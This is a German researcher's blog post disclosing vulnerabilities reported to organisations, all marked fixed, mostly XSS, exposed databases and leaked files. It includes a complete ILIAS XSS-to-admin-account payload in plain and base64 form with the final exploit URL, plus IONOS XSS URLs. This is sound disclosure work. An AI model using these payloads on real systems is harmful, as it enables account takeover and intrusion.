#1SecFailEverySecondDay

Jeden zweiten Tag eine IT-Sicherheitslücke

#1SecFailEverySecondDay

Ich habe mir was nettes für das Jahr 2024 ausgedacht. Ich veröffentliche unter dem Hashtag #1SecFailEverySecondDay bis zum Jahr 2025 jeden zweiten Tag eine Sicherheitslücke / Schwachstelle, die ich in meiner Freizeit bei Organisationen gemeldet habe.

Natürlich ist nicht immer etwas spektakuläres dabei (sonst bekomme ich die Tage nicht voll). In erster Linie möchte ich damit aufzeigen, dass IT-Security kein Zustand ist und regelmäßige Pentests wichtig sind.

Mein Ansatz zur verantwortungsbewussten Offenlegung von Sicherheitslücken

In der Welt der Informationstechnologie ist die Identifizierung von Schwachstellen und Sicherheitslücken von entscheidender Bedeutung, um die Integrität digitaler Systeme zu gewährleisten.

Daher möchte ich betonen, dass ich jede entdeckte Schwachstelle oder Sicherheitslücke verantwortungsbewusst an die jeweiligen Organisationen gemeldet habe.

Meine Herangehensweise an die Offenlegung von Schwachstellen folgt dem Prinzip der Responsible Disclosure. Das bedeutet, dass ich jegliche identifizierten Sicherheitsprobleme diskret und vertraulich an die betroffenen Organisationen weitergebe. Dies ermöglicht es der Organisation, die notwendigen Maßnahmen zu ergreifen, um die Sicherheitslücken zu schließen, bevor diese von bösartigen Akteuren ausgenutzt werden können.

Natürlich gibt es auch Fälle, bei denen die Betroffenen, selbst nach mehrmaliger Meldung überhaupt nicht reagieren oder Sicherheitslücken auch einfach nicht schließen. Solche Fälle könnten hier ggf. auch veröffentlicht werden. Das ist allerdings die Ausnahme und auch nur dann, wenn nicht aktiv personen bezogene Daten im Spiel sind.

Sofern Daten abgeflossen sind, wurden diese nach der jeweiligen Ausforschung sicher vernichtet. Ich behalte mir Screenshots mit ggf. personenbezogenen Daten in zensierter oder unkenntlicher Fassung für dieses Writeup vor.

Tag 1: Bundesdruckerei

Organisation: Die Bundesdruckerei-Gruppe
Betroffene Systeme: learning-lab.bundesdruckerei.de
Schwachstellenmeldung: 12. Dezember 2023 (fixed)

Beschreibung

Es handelte sich um eine reflektierte XSS Schwachstelle mit dem Impact, einen Administrativen Account zu ergattern. Eine OS Command Injection war (sehr wahrscheinlich) ebenfalls durchführbar. Eine User-Interaktion (das Anklicken eines Links) durch einen eingeloggten Administrator, war für die erfolgreiche Ausnutzung notwendig. Diese XSS Schwachstelle konnte in der Theorie kritisch eskaliert werden:

Als Beispiel, könnte ein Angreifer durch Schadcode einen Account mit administrator Rechten erstellen. Hierzu würde es ausreichen einen modifizierten Link durch einen eingeloggten Administrator aufrufen zu lassen. Eine User-Interaktion eines priviligierten Nutzers ist für eine erfolgreiche Ausführung also notwendig.

Folgende Schritte für eine erfolgreiche Ausführung dieses Scenarios sind hierfür erforderlich:

1. Ein Angreifer benötigt den Request Token basierend auf dem eingeloggten Nutzer und der aktiven session (in ILIAS unter rtoken bekannt).

2. Ein HTTP POST-Request mit einem gültigen Request Token muss an einen Administrativen Endpunkt gesendet werden. Im POST Body werden Details wie Username und Passwort durch den Angreifer für den neu anzulegenden Account angegeben.

Die Logik hierfür könnte wie folgt aussehen:

		
			
function sendRequest(e,n,d){return new Promise(function(a){var r=new XMLHttpRequest;r.open(n,e,!0),r.responseType="text","POST"==n&&r.setRequestH eader("Content-Type","multipart/form-data; boundary=---- ABCDE"),r.onreadystatechange=function() {4!==r.readyState||200!==r.status&&302!==r.status||a(r)},r.send(d)})}var baseUri=window.location.protocol+"//"+window.location.host,boundary="---- ABCDE",dd="--"+boundary+"\r\nContent-Disposition: form- data;",j="\r\n\r\n",data=dd+' name="auth_mode"'+j+"local\r\n"+dd+' name="login"'+j+"renereh\r\n"+dd+' name="passwd"'+j+"Idsmwloo80!\r\n"+dd+' name="passwd_retype"'+j+"Idsmwloo80!\r\n"+dd+' name="active"'+j+"1\r\n"+dd+' name="time_limit_unlimited"'+j+"1\r\n"+dd+' name="time_limit_from"'+j+"\r\n"+dd+' name="time_limit_until"'+j+"\r\n"+dd+' name="gender"'+j+"f\r\n"+dd+' name="firstname"'+j+"Max\r\n"+dd+' name="lastname"'+j+"Muster\r\n"+dd+' name="title"'+j+"\r\n"+dd+' name="userfile"; filename=""\r\nContent-Type: application/octet- stream\r\n\r\n\r\n'+dd+' name="birthday"'+j+"\r\n"+dd+' name="institution"'+j+"\r\n"+dd+' name="department"'+j+"\r\n"+dd+' name="street"'+j+"\r\n"+dd+' name="city"'+j+"\r\n"+dd+' name="zipcode"'+j+"\r\n"+dd+' name="country"'+j+"\r\n"+dd+' name="sel_country"'+j+"\r\n"+dd+' name="phone_office"'+j+"\r\n"+dd+' name="phone_home"'+j+"\r\n"+dd+' name="phone_mobile"'+j+"\r\n"+dd+' name="fax"'+j+"\r\n"+dd+' name="email"'+j+"contact@renerehme.de\r\n"+dd+' name="second_email"'+j+"\r\n"+dd+' name="hobby"'+j+"\r\n"+dd+' name="myCounter"'+j+"\r\n"+dd+' name="referral_comment"'+j+"\r\n"+dd+' name="myCounter"'+j+"\r\n"+dd+' name="interests_general[]"'+j+"\r\n"+dd+' name="interests_help_offered[]"'+j+"\r\n"+dd+' name="interests_help_looking[]"'+j+"\r\n"+dd+' name="matriculation"'+j+"\r\n"+dd+' name="client_ip"'+j+"\r\n"+dd+' name="default_role"'+j+"2\r\n"+dd+' name="language"'+j+"de\r\n"+dd+' name="skin_style"'+j+"default:delos\r\n"+dd+' name="hits_per_page"'+j+"50\r\n"+dd+' name="hide_own_online_status"'+j+"\r\n"+dd+' name="ilfilehash"'+j+"df06da0df2d5b329ef1a83028cb34e87\r\n"+dd+' name="cmd[save]"'+j+"Speichern\r\n--"+boundary+"-- ";sendRequest(baseUri+"/ilias.php? cmd=show&cmdClass=ildashboardgui&baseClass=ilDashboardGUI","GET","").then(fu nction(e){var n=(new DOMParser).parseFromString(e.responseText,"text/html").getElementById("mm_se arch_form").getAttribute("action").match(/rtoken=([^&]+)/),d=n? n[1]:null;null!=d?(console.log("[+] Got a token: "+d),sendRequest(baseUri+"/ilias.php? ref_id=7&admin_mode=settings&cmd=post&cmdClass=ilobjusergui&cmdNode=1d:r9&ba seClass=ilAdministrationGUI&rtoken="+d,"POST",data).then(function(e) {console.log("[+] Admin User created.")})):alert("Fehler. Sie sind nicht als Admin eingeloggt!")});

Diesen Code habe ich in einer lokalen ILIAS Instanz erfolgreich ausführen können. Dabei wird ein

Nutzer "renereh " mit dem Passwort "Idsmwloo80!" und Adminrechten erstellt. Damit dieser Code über die gefundene XSS Schwachstelle ausgeführt werden kann, muss dieser so enkodiert werden, damit die korrekte Interpretation durch die Übergabe des Schadcodes in einer URL final durch den Browser stattfinden kann. Alternativ könnte der Schadcode auch durch ein externes JS File geladen werden, was aber durch diverse Policies i.d.R geblockt wird (fremder Origin).

Via Base64 wird der Schadcode also wie folgt enkodiert:

		
			
ZnVuY3Rpb24gc2VuZFJlcXVlc3QoZSxuLGQpe3JldHVybiBuZXcgUHJvbWlzZShmdW5jdGlvbihh KXt2YXIgcj1uZXcgWE1MSHR0cFJlcXVlc3Q7ci5vcGVuKG4sZSwhMCksci5yZXNwb25zZVR5cGU9 InRleHQiLCJQT1NUIj09biYmci5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LVR5cGUiLCJtdWx0 aXBhcnQvZm9ybS1kYXRhOyBib3VuZGFyeT0tLS0tQUJDREUiKSxyLm9ucmVhZHlzdGF0ZWNoYW5n ZT1mdW5jdGlvbigpezQhPT1yLnJlYWR5U3RhdGV8fDIwMCE9PXIuc3RhdHVzJiYzMDIhPT1yLnN0 YXR1c3x8YShyKX0sci5zZW5kKGQpfSl9dmFyIGJhc2VVcmk9d2luZG93LmxvY2F0aW9uLnByb3Rv Y29sKyIvLyIrd2luZG93LmxvY2F0aW9uLmhvc3QsYm91bmRhcnk9Ii0tLS1BQkNERSIsZGQ9Ii0t Iitib3VuZGFyeSsiXHJcbkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsiLGo9IlxyXG5c clxuIixkYXRhPWRkKycgbmFtZT0iYXV0aF9tb2RlIicraisibG9jYWxcclxuIitkZCsnIG5hbWU9 ImxvZ2luIicraisicmVuZXJlaFxyXG4iK2RkKycgbmFtZT0icGFzc3dkIicraisiSWRzbXdsb284 MCFcclxuIitkZCsnIG5hbWU9InBhc3N3ZF9yZXR5cGUiJytqKyJJZHNtd2xvbzgwIVxyXG4iK2Rk KycgbmFtZT0iYWN0aXZlIicraisiMVxyXG4iK2RkKycgbmFtZT0idGltZV9saW1pdF91bmxpbWl0 ZWQiJytqKyIxXHJcbiIrZGQrJyBuYW1lPSJ0aW1lX2xpbWl0X2Zyb20iJytqKyJcclxuIitkZCsn IG5hbWU9InRpbWVfbGltaXRfdW50aWwiJytqKyJcclxuIitkZCsnIG5hbWU9ImdlbmRlciInK2or ImZcclxuIitkZCsnIG5hbWU9ImZpcnN0bmFtZSInK2orIk1heFxyXG4iK2RkKycgbmFtZT0ibGFz dG5hbWUiJytqKyJNdXN0ZXJcclxuIitkZCsnIG5hbWU9InRpdGxlIicraisiXHJcbiIrZGQrJyBu YW1lPSJ1c2VyZmlsZSI7IGZpbGVuYW1lPSIiXHJcbkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24v b2N0ZXQtc3RyZWFtXHJcblxyXG5cclxuJytkZCsnIG5hbWU9ImJpcnRoZGF5IicraisiXHJcbiIr ZGQrJyBuYW1lPSJpbnN0aXR1dGlvbiInK2orIlxyXG4iK2RkKycgbmFtZT0iZGVwYXJ0bWVudCIn K2orIlxyXG4iK2RkKycgbmFtZT0ic3RyZWV0IicraisiXHJcbiIrZGQrJyBuYW1lPSJjaXR5Iicr aisiXHJcbiIrZGQrJyBuYW1lPSJ6aXBjb2RlIicraisiXHJcbiIrZGQrJyBuYW1lPSJjb3VudHJ5 IicraisiXHJcbiIrZGQrJyBuYW1lPSJzZWxfY291bnRyeSInK2orIlxyXG4iK2RkKycgbmFtZT0i cGhvbmVfb2ZmaWNlIicraisiXHJcbiIrZGQrJyBuYW1lPSJwaG9uZV9ob21lIicraisiXHJcbiIr ZGQrJyBuYW1lPSJwaG9uZV9tb2JpbGUiJytqKyJcclxuIitkZCsnIG5hbWU9ImZheCInK2orIlxy XG4iK2RkKycgbmFtZT0iZW1haWwiJytqKyJjb250YWN0QHJlbmVyZWhtZS5kZVxyXG4iK2RkKycg bmFtZT0ic2Vjb25kX2VtYWlsIicraisiXHJcbiIrZGQrJyBuYW1lPSJob2JieSInK2orIlxyXG4i K2RkKycgbmFtZT0ibXlDb3VudGVyIicraisiXHJcbiIrZGQrJyBuYW1lPSJyZWZlcnJhbF9jb21t ZW50IicraisiXHJcbiIrZGQrJyBuYW1lPSJteUNvdW50ZXIiJytqKyJcclxuIitkZCsnIG5hbWU9 ImludGVyZXN0c19nZW5lcmFsW10iJytqKyJcclxuIitkZCsnIG5hbWU9ImludGVyZXN0c19oZWxw X29mZmVyZWRbXSInK2orIlxyXG4iK2RkKycgbmFtZT0iaW50ZXJlc3RzX2hlbHBfbG9va2luZ1td IicraisiXHJcbiIrZGQrJyBuYW1lPSJtYXRyaWN1bGF0aW9uIicraisiXHJcbiIrZGQrJyBuYW1l PSJjbGllbnRfaXAiJytqKyJcclxuIitkZCsnIG5hbWU9ImRlZmF1bHRfcm9sZSInK2orIjJcclxu IitkZCsnIG5hbWU9Imxhbmd1YWdlIicraisiZGVcclxuIitkZCsnIG5hbWU9InNraW5fc3R5bGUi JytqKyJkZWZhdWx0OmRlbG9zXHJcbiIrZGQrJyBuYW1lPSJoaXRzX3Blcl9wYWdlIicraisiNTBc clxuIitkZCsnIG5hbWU9ImhpZGVfb3duX29ubGluZV9zdGF0dXMiJytqKyJcclxuIitkZCsnIG5h bWU9ImlsZmlsZWhhc2giJytqKyJkZjA2ZGEwZGYyZDViMzI5ZWYxYTgzMDI4Y2IzNGU4N1xyXG4i K2RkKycgbmFtZT0iY21kW3NhdmVdIicraisiU3BlaWNoZXJuXHJcbi0tIitib3VuZGFyeSsiLS0i O3NlbmRSZXF1ZXN0KGJhc2VVcmkrIi9pbGlhcy5waHA/Y21kPXNob3cmY21kQ2xhc3M9aWxkYXNo Ym9hcmRndWkmYmFzZUNsYXNzPWlsRGFzaGJvYXJkR1VJIiwiR0VUIiwiIikudGhlbihmdW5jdGlv bihlKXt2YXIgbj0obmV3IERPTVBhcnNlcikucGFyc2VGcm9tU3RyaW5nKGUucmVzcG9uc2VUZXh0 LCJ0ZXh0L2h0bWwiKS5nZXRFbGVtZW50QnlJZCgibW1fc2VhcmNoX2Zvcm0iKS5nZXRBdHRyaWJ1 dGUoImFjdGlvbiIpLm1hdGNoKC9ydG9rZW49KFteJl0rKS8pLGQ9bj9uWzFdOm51bGw7bnVsbCE9 ZD8oY29uc29sZS5sb2coIlsrXSBHb3QgYSB0b2tlbjogIitkKSxzZW5kUmVxdWVzdChiYXNlVXJp KyIvaWxpYXMucGhwP3JlZl9pZD03JmFkbWluX21vZGU9c2V0dGluZ3MmY21kPXBvc3QmY21kQ2xh c3M9aWxvYmp1c2VyZ3VpJmNtZE5vZGU9MWQ6cjkmYmFzZUNsYXNzPWlsQWRtaW5pc3RyYXRpb25H VUkmcnRva2VuPSIrZCwiUE9TVCIsZGF0YSkudGhlbihmdW5jdGlvbihlKXtjb25zb2xlLmxvZygi WytdIEFkbWluIFVzZXIgY3JlYXRlZC4iKX0pKTphbGVydCgiRmVobGVyLiBTaWUgc2luZCBuaWNo dCBhbHMgQWRtaW4gZWluZ2Vsb2dndCEiKX0pOw==

Normalerweiße könnte dieser String nun via

		
			
https://learning-lab.bundesdruckerei.de/api/<img src=x onerror=eval(atob('<--base64-string-->'))>

in der URL verwendet werden.

Problematisch ist, dass im Base64-String das Slash-Zeichen " / " vorkommt, was die Logik bei direkter Übermittlung in der URL an dieser Stelle durch die Interpretation eines weiteren Pfadsegmentes unterprechen würde.

Durch einen kleinen Workaround ist es dennoch möglich. Splittet man den Base64-String in zwei Teile, gibt diese über zwei separate URL Query-Parameter an und fügt sie zur Dekodierung und Interpretation wieder zusammen, kann das Zeichen " / " in der URL eliminiert werden:

		
			
/api/XXX?param1=Base64Part1&param2=Base64Part2

Damit das funktioniert, werden die Parts ausgelesen, zusammengesetzt und anschließend via innerHTML in den HTML <body> geschreiben. Dabei wird ein IMG-Tag verwendet, sobei der Schadcode in eine onerror Attribut überführt wird. Da src=x nicht geladen werden kann, wird das Event onerror aktiv, welches final die zusammengesetzte Payload decodiert ( atob ) und ausführt ( eval ):

		
			
const sp = new URLSearchParams(window.location.search);var i = "<img src=x onerror=eval(atob('"+sp.get("param1")+"/"+sp.get("param2")+"'))>";document.body.innerHTML = i;

Dieser Codeschnipsel wird als URL-Pfad nach /api/ encodiert über ein onerror event angegeben und wird initial ausgeführt. Die finale Payload sieht wie folgt aus:

		
			
https://learning- lab.bundesdruckerei.de/api/%3Cimg%20src=x%20onerror=eval(atob('Y29uc3Qgc3AgP SBuZXcgVVJMU2VhcmNoUGFyYW1zKHdpbmRvdy5sb2NhdGlvbi5zZWFyY2gpO3ZhciBpID0gIjxpb Wcgc3JjPXggb25lcnJvcj1ldmFsKGF0b2IoJyIrc3AuZ2V0KCJiMSIpKyIvIitzcC5nZXQoImIyI ikrIicpKT4iO2RvY3VtZW50LmJvZHkuaW5uZXJIVE1MID0gaTs='))%3E? b1=ZnVuY3Rpb24gc2VuZFJlcXVlc3QoZSxuLGQpe3JldHVybiBuZXcgUHJvbWlzZShmdW5jdGlvb ihhKXt2YXIgcj1uZXcgWE1MSHR0cFJlcXVlc3Q7ci5vcGVuKG4sZSwhMCksci5yZXNwb25zZVR5c GU9InRleHQiLCJQT1NUIj09biYmci5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LVR5cGUiLCJtd Wx0aXBhcnQvZm9ybS1kYXRhOyBib3VuZGFyeT0tLS0tQUJDREUiKSxyLm9ucmVhZHlzdGF0ZWNoY W5nZT1mdW5jdGlvbigpezQhPT1yLnJlYWR5U3RhdGV8fDIwMCE9PXIuc3RhdHVzJiYzMDIhPT1yL nN0YXR1c3x8YShyKX0sci5zZW5kKGQpfSl9dmFyIGJhc2VVcmk9d2luZG93LmxvY2F0aW9uLnByb 3RvY29sKyIvLyIrd2luZG93LmxvY2F0aW9uLmhvc3QsYm91bmRhcnk9Ii0tLS1BQkNERSIsZGQ9I i0tIitib3VuZGFyeSsiXHJcbkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsiLGo9IlxyX G5cclxuIixkYXRhPWRkKycgbmFtZT0iYXV0aF9tb2RlIicraisibG9jYWxcclxuIitkZCsnIG5hb WU9ImxvZ2luIicraisicmVuZXJlaFxyXG4iK2RkKycgbmFtZT0icGFzc3dkIicraisiSWRzbXdsb 284MCFcclxuIitkZCsnIG5hbWU9InBhc3N3ZF9yZXR5cGUiJytqKyJJZHNtd2xvbzgwIVxyXG4iK 2RkKycgbmFtZT0iYWN0aXZlIicraisiMVxyXG4iK2RkKycgbmFtZT0idGltZV9saW1pdF91bmxpb Wl0ZWQiJytqKyIxXHJcbiIrZGQrJyBuYW1lPSJ0aW1lX2xpbWl0X2Zyb20iJytqKyJcclxuIitkZ CsnIG5hbWU9InRpbWVfbGltaXRfdW50aWwiJytqKyJcclxuIitkZCsnIG5hbWU9ImdlbmRlciInK 2orImZcclxuIitkZCsnIG5hbWU9ImZpcnN0bmFtZSInK2orIk1heFxyXG4iK2RkKycgbmFtZT0ib GFzdG5hbWUiJytqKyJNdXN0ZXJcclxuIitkZCsnIG5hbWU9InRpdGxlIicraisiXHJcbiIrZGQrJ yBuYW1lPSJ1c2VyZmlsZSI7IGZpbGVuYW1lPSIiXHJcbkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb 24vb2N0ZXQtc3RyZWFtXHJcblxyXG5cclxuJytkZCsnIG5hbWU9ImJpcnRoZGF5IicraisiXHJcb iIrZGQrJyBuYW1lPSJpbnN0aXR1dGlvbiInK2orIlxyXG4iK2RkKycgbmFtZT0iZGVwYXJ0bWVud CInK2orIlxyXG4iK2RkKycgbmFtZT0ic3RyZWV0IicraisiXHJcbiIrZGQrJyBuYW1lPSJjaXR5I icraisiXHJcbiIrZGQrJyBuYW1lPSJ6aXBjb2RlIicraisiXHJcbiIrZGQrJyBuYW1lPSJjb3Vud HJ5IicraisiXHJcbiIrZGQrJyBuYW1lPSJzZWxfY291bnRyeSInK2orIlxyXG4iK2RkKycgbmFtZ T0icGhvbmVfb2ZmaWNlIicraisiXHJcbiIrZGQrJyBuYW1lPSJwaG9uZV9ob21lIicraisiXHJcb iIrZGQrJyBuYW1lPSJwaG9uZV9tb2JpbGUiJytqKyJcclxuIitkZCsnIG5hbWU9ImZheCInK2orI lxyXG4iK2RkKycgbmFtZT0iZW1haWwiJytqKyJjb250YWN0QHJlbmVyZWhtZS5kZVxyXG4iK2RkK ycgbmFtZT0ic2Vjb25kX2VtYWlsIicraisiXHJcbiIrZGQrJyBuYW1lPSJob2JieSInK2orIlxyX G4iK2RkKycgbmFtZT0ibXlDb3VudGVyIicraisiXHJcbiIrZGQrJyBuYW1lPSJyZWZlcnJhbF9jb 21tZW50IicraisiXHJcbiIrZGQrJyBuYW1lPSJteUNvdW50ZXIiJytqKyJcclxuIitkZCsnIG5hb WU9ImludGVyZXN0c19nZW5lcmFsW10iJytqKyJcclxuIitkZCsnIG5hbWU9ImludGVyZXN0c19oZ WxwX29mZmVyZWRbXSInK2orIlxyXG4iK2RkKycgbmFtZT0iaW50ZXJlc3RzX2hlbHBfbG9va2luZ 1tdIicraisiXHJcbiIrZGQrJyBuYW1lPSJtYXRyaWN1bGF0aW9uIicraisiXHJcbiIrZGQrJyBuY W1lPSJjbGllbnRfaXAiJytqKyJcclxuIitkZCsnIG5hbWU9ImRlZmF1bHRfcm9sZSInK2orIjJcc lxuIitkZCsnIG5hbWU9Imxhbmd1YWdlIicraisiZGVcclxuIitkZCsnIG5hbWU9InNraW5fc3R5b GUiJytqKyJkZWZhdWx0OmRlbG9zXHJcbiIrZGQrJyBuYW1lPSJoaXRzX3Blcl9wYWdlIicraisiN TBcclxuIitkZCsnIG5hbWU9ImhpZGVfb3duX29ubGluZV9zdGF0dXMiJytqKyJcclxuIitkZCsnI G5hbWU9ImlsZmlsZWhhc2giJytqKyJkZjA2ZGEwZGYyZDViMzI5ZWYxYTgzMDI4Y2IzNGU4N1xyX G4iK2RkKycgbmFtZT0iY21kW3NhdmVdIicraisiU3BlaWNoZXJuXHJcbi0tIitib3VuZGFyeSsiL S0iO3NlbmRSZXF1ZXN0KGJhc2VVcmkrIi9pbGlhcy5waHA&b2=Y21kPXNob3cmY21kQ2xhc3M9aW xkYXNoYm9hcmRndWkmYmFzZUNsYXNzPWlsRGFzaGJvYXJkR1VJIiwiR0VUIiwiIikudGhlbihmdW 5jdGlvbihlKXt2YXIgbj0obmV3IERPTVBhcnNlcikucGFyc2VGcm9tU3RyaW5nKGUucmVzcG9uc2 VUZXh0LCJ0ZXh0L2h0bWwiKS5nZXRFbGVtZW50QnlJZCgibW1fc2VhcmNoX2Zvcm0iKS5nZXRBdH RyaWJ1dGUoImFjdGlvbiIpLm1hdGNoKC9ydG9rZW49KFteJl0rKS8pLGQ9bj9uWzFdOm51bGw7bn VsbCE9ZD8oY29uc29sZS5sb2coIlsrXSBHb3QgYSB0b2tlbjogIitkKSxzZW5kUmVxdWVzdChiYX NlVXJpKyIvaWxpYXMucGhwP3JlZl9pZD03JmFkbWluX21vZGU9c2V0dGluZ3MmY21kPXBvc3QmY2 1kQ2xhc3M9aWxvYmp1c2VyZ3VpJmNtZE5vZGU9MWQ6cjkmYmFzZUNsYXNzPWlsQWRtaW5pc3RyYX Rpb25HVUkmcnRva2VuPSIrZCwiUE9TVCIsZGF0YSkudGhlbihmdW5jdGlvbihlKXtjb25zb2xlLm xvZygiWytdIEFkbWluIFVzZXIgY3JlYXRlZC4iKX0pKTphbGVydCgiRmVobGVyLiBTaWUgc2luZC BuaWNodCBhbHMgQWRtaW4gZWluZ2Vsb2dndCEiKX0pOw==

Der Aufruf dieser URL in einem nicht eingeloggten Zustand, erzeugt auf der learning-lab.bundesdruckerei.de Instanz einen Fehler in der Konsole. Sollte der Aufruf durch einen eingeloggten Administrator stattfinden, wird die Logik ausgeführt - sofern ILIAS Standard-Funktionalitäten nicht verändert wurden.

Da hier als Basis eine ILIAS Instanz < v7.26 installiert ist, wäre es mir bei Ausführung dieser XSS Schwachstelle auch potenziell möglich eine Command Injection durchzuführen, um Zugriff auf den Server zu erlangen. Details hierzu können unter der von mir eingereichten CVE-2023-45869 nachgelesen werden. Ein Exploit wurde von mir zwar nie veröffentlicht, ein potenzieller Angreifer könnte aber die notwendigen Details aus meinem Write-Up ableiten: https://rehmeinfosec.de/labor/cve-2023-45869

Tag 3: IONOS (1und1)

Organisation: IONOS SE
Betroffene Systeme: ionos.de, logo-generator.ionos.com
Schwachstellenmeldung: 8. Dezember 2022 (fixed)

Beschreibung

Die IONOS-Webanwendung war von einer reflektierten XSS-Schwachstelle betroffen, die es ermöglichte, Schadcode über einen URL-Abfrageparameter auszuspielen. Die Payload wurde im Browser unter Verwendung einer URL interpretiert und ausgeführt.

Durch die Ausführung der Payload mittels des Aufrufs eines entsprechenden Links wurde beispielsweise die Umleitung eines Opfers auf eine Phishing-Website ermöglicht oder die Ausführung von Applikationsfunktionen in dessen Kontext. Auch waren Session Cookies auslesbar.

Die Sicherheitslücke konnte in der Anwendung "logo-generator.ionos.com" ausfindig gemacht werden:

		
			
https://logo-generator.ionos.com/ ?lang=de &tc=de &m=d &mt=%3Cscript%3Ealert(document.cookies)%3C/script%3E

Interessant war hier, dass diese Anwendung direkt in der Haupseite unter "ionos.de" über ein iFrame eingebunden wurde. Über das eingebundene iFrame konnte so via "window.parent.location.href" die URL eines Angreifers auf der Hauptseite geladen werden.

		
			
https://www.ionos.de/tools/logo-erstellen ?lang=de &tc=de &m=e &mt=%3Cscript%3Eeval%28atob%28%27d2luZG93LnBhcmVudC5sb2NhdGlvbi5ocmVmPSJodHRwczovL2VuLndpa2lwZWRpYS5vcmcvd2lraS9QaGlzaGluZyI7%27%29%29%3C%2Fscript%3E

In einem Proof of Concept wurde exemplarisch ein Login-Formular integriert, das nicht von IONOS stammte. Auf diese Weise hätten potenzielle Angreifer Zugangsdaten abfangen können:

Tag 5: Rheinland-Pfalz

Organisation: Land Rheinland-Pfalz
Betroffene Systeme: *.rlp.de
Schwachstellenmeldung: 11. März 2023 (fixed)

Beschreibung

Eine Datenbankverwaltung (phpMyAdmin) war ungesichert und öffentlich abrufbar. Es konnten auf Datenbanken eines Datenbankservers ohne Zugangssicherung zugegriffen werden. Ein krimineller Angreifer hätte alle darin enthaltenen Daten lesen, oder verändern können. Die Möglichkeit neue Daten zu schreiben war ebenfalls gegeben.
 
Enthalten waren z.B.:

    - Zugangsdaten von Frontend User mit Passwörtern in Klartext.
    - Zugangsdaten von Backend User mit Passwörtern in MD5 (veraltetes Hashverfahren).
    - 13099 E-Mail Addressen in einer dmail Log.

Die Datenbanken wurden wahrscheinlich nicht in Produktion verwendet (zu letzt generiert Einträge waren nicht aktuell). Es wurde dennoch empfohlen unbedingt auch die darin gefundenen Passwörter zu änderen, da diese in den Liveinstanzen funktionierten.

Intranet
Intranet

Des weiteren wurde eine ungeschützte Seite innerhalb eines Adminbereichs (/admin/test/) entdeckt. Darüber konnten öffentlich zugänglich interne PDF Dokumente heruntergeladen werden. (z.B. eine Arbeitsanweißung wie die Einrichtung einer Remote Desktop Verbindung (via RDP) mit dem Desktop PC am Arbeitsplatz erfolgt.

Tag 7: EDIT.org

Organisation: EDIT.org
Betroffene Systeme: edit.org
Schwachstellenmeldung: 14. Dezember 2021 (fixed)

Beschreibung

Eine nohup.out Datei war im documentRoot abgelegt.

In diesem File waren 173,737 E-Mail Adressen von Kunden offen einsehbar.

Die Ausgaben eines mittels "nohup" aufgerufenen Programms werden automatisch in die Datei "nohup.out" umgeleitet. Diese Datei wird im Verzeichnis erstellt, von dem aus der Befehl ausgeführt wurde. Alternativ wäre es möglich gewesen, die Ausgabe in "/dev/null" zu lenken oder das File im Nachgang zu löschen.

Tag 9: Küche&Co GmbH - a member of the otto group

Organisation: Küche&Co GmbH
Betroffene Systeme: kueche-co.de
Schwachstellenmeldung: 4. Mai 2022 (fixed)

Beschreibung

Über einen öffentlich aufrufbaren Link konnte eine 50.8MB .tgz Datei ohne Zugangssicherung heruntergeladen werden: https://intranet.kueche-co.de/archive.tgz

Dieses Archiv beinhaltete eine Datei mit Kundendaten (Namen, Adressen, Email-Adressen und mehr) .

Side Story:
Diese Meldung sollte mein erstes Bug Bounty sein, wo tatsächlich eine Prämie in Form von Geld als "Dankeschön" angeboten wurde. Naja, eigentlich.

Intranet

Da ich meine Kontodaten nicht herausgeben und meine Person nicht nennen wollte, hatte ich nach einer anonymen Abwicklung (Amazon Gutschein, Paysafe etc.) gefragt. Ein paar Tage später nochmal nachgehakt und dann diese Antwort bekommen:

Intranet

Thrust me bro!

Intranet

Tag 11: Gemeinde Roggenburg

Organisation: Gemeinde Roggenburg
Betroffene Systeme: roggenburg.de
Schwachstellenmeldung: 24. Nov. 2023 (fixed)

Beschreibung

Der "Zweckverband gemeindliche Datenverarbeitung" im Landkreis Neu-Ulm ist Ende 2023 Opfer eines Ransomware Angriff geworden. Mehrere Kommunen im Landkreis Neu-Ulm wurden dadurch teilweise lahmgelegt. Darunter auch die Gemeinde Roggenburg. Der BR berichtete über den Vorfall.

Ich habe mir in diesem Zuge die Webseite der Gemeinde Roggenburg angeschaut. Innerhalb einer Minute konnte ich eine SQL-Injection ausfindig machen und ja, das ging tatsächlich so schnell, da mein erster Take immer die Eingabeprüfung von Input-Feldern ist. SQL-Injection ist eine kritische Sicherheitlücke, die es einem Angreifer ermöglicht mit der zugrunde liegenden Datenbank frei zu interagieren. Sie ermöglicht also den Zugriff auf alle Informatinen die darin gespeichert werden.

Der BR berichtete auch über diesen Vorfall.

Vorweg möchte ich direkt eine Lanze brechen: Das von der Gemeinde Roggenburg verwendete Content Management System betrachte ich als ausgesprochen sicher. Die von mir entdeckte Sicherheitslücke resultierte aus einer eigenentwickelten Komponente, die vom Dienstleister bereitgestellt wurde. Die Umsetzung und Implementierung entsprachen jedoch nicht den Standards, die das System vorgibt. Das konnte man z.B. beim Suchformular durch den fehlenden CSRF-Token erahnen.

Ein technischer Einblick für interessierte

Neos (das verwendete System), sollte nicht als klassisches CMS verstanden werden, sondern eher als Content Application Plattform. Entwickler können mithilfe von NodeTypes und Fusion ihre eigenen Inhaltselemente erstellen. Diese können dann von Redakteuren über das Backend zur Contentpflege genutzt werden. Die traditionelle Umsetzung von Elementen erfordert in technischer Hinsicht also keine Programmierung in PHP oder gar SQL.

Warum war eine SQL Injection möglich?

Hierzu muss man das System zunächst grob verstehen.

Neos basiert auf einem eigens entwickelten PHP-Framework namens Neos Flow. Das MVC-Paradigma in Neos lässt sich vereinfacht wie folgt erklären:

  1. Controller: Verantwortlich für die eigene Logik.
  2. Model: Abbildung der Geschäftslogik und einer Entität nach den Konzepten des Domain-Driven Design.
  3. Repository: Dient als Schnittstelle zwischen der Geschäftslogik (dem Model) und dem Data Storage (z.B. MySQL). Das Repository ist der Ort, an dem die Logik für Datenbankabfragen in das persistente Framework übergeht - standardmäßig Doctrine 2 ORM.

